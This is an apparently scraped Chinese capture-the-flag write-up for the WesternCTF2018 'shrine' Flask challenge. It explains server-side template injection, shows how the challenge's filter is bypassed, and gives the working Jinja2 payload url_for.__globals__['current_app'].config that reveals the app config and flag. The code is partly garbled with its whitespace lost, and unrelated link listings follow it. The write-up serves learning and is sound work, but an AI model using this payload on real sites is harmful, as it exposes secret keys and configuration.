当前位置: 首页 > news >正文

[WesternCTF2018]shrine-学习笔记

    • 前置知识
      • 什么是 SSTI?
      • 什么是 Jinja2 模板?
    • 正文
      • 一、HTML代码审计
      • 二、Jinja2 过滤规则分析
      • 三、Jinja2 中通过 `current_app` 获取 Flag

前置知识

什么是 SSTI?

SSTI(Server-Side Template Injection,服务端模板注入)是指用户输入被直接拼接到模板中执行。网站后台Flask 默认使用 Jinja2 模板引擎,模板语法用{{ }}包裹表达式。如果用户可控的输入被直接传给render_template_string()渲染,就存在 SSTI 漏洞。

什么是 Jinja2 模板?

Jinja2 是 Python 的模板引擎,在网站后台Flask 中用于生成 HTML。常见的语法:

  • {{ expression }}— 输出表达式的值
  • {% statement %}— 执行控制语句(如 if、for、set)
  • |filter— 对值应用过滤器

正文

一、HTML代码审计

访问主页,CTRL+U会输出应用源码:

# ============================================# 1. 导入模块# ============================================importflask# Flask 核心框架,用于构建 Web 应用importos# 操作系统接口模块,用于读取环境变量# ============================================# 2. 创建 Flask 应用实例# ============================================app=flask.Flask(__name__)# __name__ 是当前模块名,Flask 用它来定位资源# 创建了一个名为 "app" 的 Flask 应用对象# ============================================# 3. 存储 Flag(核心目标)# ============================================app.config['FLAG']=os.environ.pop('FLAG')# os.environ 是一个字典,包含进程的所有环境变量# os.environ.pop('FLAG') 从环境变量中取出 FLAG 值,并从字典中删除# 这样做是为了防止通过 /proc/self/environ 等方式泄露# 最终 Flag 被安全地存储在 Flask app 的 config 字典中# ============================================# 4. 路由:首页(显示源码)# ============================================@app.route('/')# 注册路由:当访问根路径 "/" 时触发defindex():returnopen(__file__).read()# __file__ 是当前 Python 文件的路径# open(__file__).read() 读取当前文件的全部内容并返回# 这是一个"提示型"设计:让攻击者直接看到源码# ============================================# 5. 路由:SSTI 漏洞入口(核心攻击面)# ============================================@app.route('/shrine/<path:shrine>')# <path:shrine> 是 Flask 的路径转换器# path 类型会捕获 URL 中 /shrine/ 后面的所有内容(包括斜杠)# 例如:/shrine/{{7*7}} → shrine 参数值为 "{{7*7}}"# /shrine/a/b/c → shrine 参数值为 "a/b/c"defshrine(shrine):# shrine 函数接收用户输入作为参数defsafe_jinja(s):# 定义一个"安全检查"函数(实际上不安全)s=s.replace('(','').replace(')','')# 将用户输入中的括号全部移除# 目的:阻止函数调用,如 {{config}} → 不能调用 config()# 绕过思路:用 [] 下标访问代替函数调用blacklist=['config','self']# 黑名单:禁止使用 config 和 self 这两个变量名return''.join(['{% set {}=None%}'.format(c)forcinblacklist])+s# 这段代码很精巧!它会在用户输入前面拼接 Jinja2 的 set 语句# 拼接后实际变成:{% set config=None%}{% set self=None%} + 用户输入# 目的:把 config 和 self 这两个模板变量强行设为空值# 绕过思路:用 app.config(属性访问)代替 config(变量访问)returnflask.render_template_string(safe_jinja(shrine))# 这是漏洞的核心!# safe_jinja() 处理后的用户输入被直接传给 render_template_string()# render_template_string() 会将字符串作为 Jinja2 模板来渲染# 如果用户输入了 {{ }} 包裹的内容,就会被 Jinja2 引擎执行# 这就是 SSTI(服务端模板注入)漏洞# ============================================# 6. 程序入口# ============================================if__name__=='__main__:# 当脚本直接运行时(而非被 import),启动 Flask 开发服务器app.run(debug=True)# debug=True 开启调试模式,出错时显示详细信息,监听默认端口 5000

二、Jinja2 过滤规则分析

过滤项作用绕过方式
()被替换为空禁止调用函数(如__subclasses__()[]下标访问字典、用.访问属性
{% set config=None%}将模板变量config设为 Noneapp.config访问 Python 属性(不受变量遮蔽影响)
{% set self=None%}将模板变量self设为 None不用self即可

关键理解{% set config=None%}只是把 Jinja2 模板变量config设为空,但app.config是通过 Python 属性访问(app对象下的config属性),两者完全不同,所以不受影响。

所以可以得出SSTI 漏洞的触发链

用户请求: GET /shrine/{{7*7}}↓ Flask 路由匹配: shrine 参数="{{7*7}}"↓ safe_jinja("{{7*7}}")"{% set config=None%}{% set self=None%}{{7*7}}"↓ render_template_string()将字符串作为 Jinja2 模板执行 ↓ Jinja2 引擎解析{{7*7}}→ 计算7*7 → 输出"49"↓ HTTP 响应返回"49"

所以就可以得出攻击思路:

目标:读取 app.config['FLAG']│ ├─ 路径1:{{config}}→ ❌ 被{%setconfig=None%}过滤 │ ├─ 路径2:{{app.config}}→ ❌ app 不在 Jinja2 全局变量中 │ ❌ 括号被过滤 └─ 路径3:{{url_for.__globals__["current_app"].config}}✅ 成功!用[]代替(),用 url_for 间接访问 Flask 全局

Python函数有一个__globals__属性,返回该函数所在模块的全局变量字典:

GET /shrine/{{url_for.__globals__}} HTTP/1.1


响应返回了大量 Flask 内部变量,其中包含:

  • current_app: <Flask 'app'>— 当前 Flask 应用对象
  • session: <NullSession {}>— Session 对象等等

三、Jinja2 中通过current_app获取 Flag

Flask 应用中,配置信息存储在app.config字典中。我们可以用[]下标操作访问__globals__字典中的current_app(注意()被过滤了,但[]不受影响):

GET/shrine/{{url_for.__globals__["current_app"].config}}HTTP/1.1

URL 编码后

/shrine/{{url_for.__globals__%5b%22current_app%22%5d.config}}

响应的关键部分

CTF2{30503f82-2e5d-4bfe-969c-7d4a29a9e6e2}

http://www.jsqmd.com/news/1281067/

相关文章:

  • 大跨度柔性电动挡烟垂壁 消防3C认证防火防烟分区隔断
  • Hadoop+Spark+Hive构建小红书评论情感分析系统
  • RAG技术优化实战:7个提升大模型问答效果的核心技巧
  • Nintendo Switch大气层系统1.7.1:深度技术解析与高级定制指南
  • 惠州工贸公司代理记账推荐,5 家可做精细化经营账机构 - GrowUME
  • 思源宋体TTF版本:7款免费开源字体如何彻底解决中文排版难题
  • Sunshine游戏串流服务器:5步搭建你的家庭云游戏终极解决方案
  • 珠排序算法:从物理模型到C++实现的非比较排序解析
  • JAVA毕设项目: 基于 SpringBoot+Vue 的高校闲置资源数字化交易管理系统 校园二手交易诚信评价与订单管理系统(源码+文档,讲解、调试运行,定制等)
  • QQ空间历史说说完整导出终极指南:三步找回青春记忆的免费工具
  • RFID模块TOY0019实战:从硬件连接到Arduino集成的完整调试指南
  • 企业级大模型安全实战:从六大攻击类型到纵深防御体系构建
  • 2026年四川优质认证实力企业推荐:四川企诚星科技咨询有限公司 - 深度智识库
  • VisualCppRedist AIO:3步彻底解决Windows软件运行库缺失问题
  • 终极缠论量化分析插件:让通达信自动识别买卖信号
  • 从cdn说起
  • 工科实践利器:拓竹A1C 3D打印从建模到后处理全流程指南
  • html中实现拨打电话发短信功能 js实现拨打电话发短信功能
  • BilibiliDown:小白也能轻松下载B站视频的完整指南
  • HTML学习笔记——HTML基本标记
  • SinaL2:用Python轻松获取新浪Level2行情数据的实战指南
  • Claude Code系统提示词与Output Styles技术解析
  • NLP-信息熵、条件熵、互信息的简介
  • 软件的系统测试及其应用
  • 2019/09/01 01-Linux系统入门
  • 基于Vue技术的养老院管理系统的设计与实现
  • 三自由度机械臂的神经网络自适应控制与Matlab实现
  • laravel 创建中间件
  • VisualCppRedist AIO:终极解决方案,一键解决Windows软件运行库问题
  • 推理成本高企?5分钟看懂大模型知识蒸馏,小模型复刻大模型90%能力